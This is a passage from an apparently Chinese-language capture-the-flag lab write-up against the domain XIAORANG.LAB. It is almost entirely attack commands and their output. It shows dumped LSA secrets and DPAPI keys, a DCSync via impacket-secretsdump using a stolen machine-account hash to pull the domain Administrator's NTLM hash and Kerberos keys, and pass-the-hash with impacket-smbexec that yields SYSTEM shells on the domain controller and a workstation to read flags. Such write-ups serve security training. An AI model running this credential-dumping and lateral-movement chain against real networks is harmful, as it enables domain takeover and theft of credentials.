XIAORANG.LAB/Administrator:$DCC2$10240#Administrator#f9224930044d24598d509aeb1a015766: (2023-08-02 07:52:21+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
XIAORANG\Fileserver$:plain_password_hex:3000310078005b003b0049004e003500450067003e00300039003f0074006c00630024003500450023002800220076003c004b0057005e0063006b005100580024007300620053002e0038002c0060003e00420021007200230030003700470051007200640054004e0078006000510070003300310074006d006b004c002e002f0059003b003f0059002a005d002900640040005b0071007a0070005d004000730066006f003b0042002300210022007400670045006d0023002a002800330073002c00320063004400720032002f003d0078006a002700550066006e002f003a002a0077006f0078002e0066003300
XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x15367c548c55ac098c599b20b71d1c86a2c1f610
dpapi_userkey:0x28a7796c724094930fc4a3c5a099d0b89dccd6d1
[*] NL$KM
0000 8B 14 51 59 D7 67 45 80 9F 4A 54 4C 0D E1 D3 29 ..QY.gE..JTL...)
0010 3E B6 CC 22 FF B7 C5 74 7F E4 B0 AD E7 FA 90 0D >.."...t........
0020 1B 77 20 D5 A6 67 31 E9 9E 38 DD 95 B0 60 32 C4 .w ..g1..8...`2.
0030 BE 8E 72 4D 0D 90 01 7F 01 30 AC D7 F8 4C 2B 4A ..rM.....0...L+J
NL$KM:8b145159d76745809f4a544c0de1d3293eb6cc22ffb7c5747fe4b0ade7fa900d1b7720d5a66731e99e38dd95b06032c4be8e724d0d90017f0130acd7f84c2b4a
[*] Cleaning up...
[*] Stopping service RemoteRegistry
机器账户的hash
XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc
2、复制域管的hash
再打dcsync 拿到域管hash
└─$ proxychains4 -q impacket-secretsdump xiaorang.lab/'Fileserver$':@172.22.60.8 -hashes ':951d8a9265dfb652f42e5c8c497d70dc' -just-dc-user Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:4502e83276d2275a8f22a0be848aee62471ba26d29e0a01e2e09ddda4ceea683
Administrator:aes128-cts-hmac-sha1-96:38496df9a109710192750f2fbdbe45b9
Administrator:des-cbc-md5:f72a9889a18cc408
[*] Cleaning up...
域管的hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b:::
3、PTH横向到域控
“`shell └─$ proxychains4 -q impacket-smbexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/administrator@172.22.60.8 -codec gbk Impacket v0.14.0.dev0 – Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell – Careful what you execute C:\Windows\system32>whoami nt authority\system
C:\Windows\system32>type C:\Users\administrator\flag\flag04.txt :::===== ::: :::==== :::==== ::: === :::======= ::: ::: ::: === ::: === ::: === ::: === === ====== === ======== ======= === === === === === === === === === === === === === === === === ======== === === === === ====== === ===
flag04: flag{6e8521fd-94a1-4a33-8b88-f983d3e10710} “`
172.22.60.15-PC1
pth横向PC1
└─$ proxychains4 -q impacket-smbexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/administrator@172.22.60.15 -codec gbk
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\administrator\flag\flag02.txt
d88888b db .d8b. d8888b. db db .88b d88.
88' 88 d8' `8b 88 `8D 88 88 88'YbdP`88
88ooo 88 88ooo88 88oobY' 88 88 88 88 88
88~~~ 88 88~~~88 88`8b 88 88 88 88 88
88 88booo. 88 88 88 `88. 88b d88 88 88 88
YP Y88888P YP YP 88 YD ~Y8888P' YP YP YP
flag02: flag{8598f8a8-25e4-458f-a900-56bae61558a4}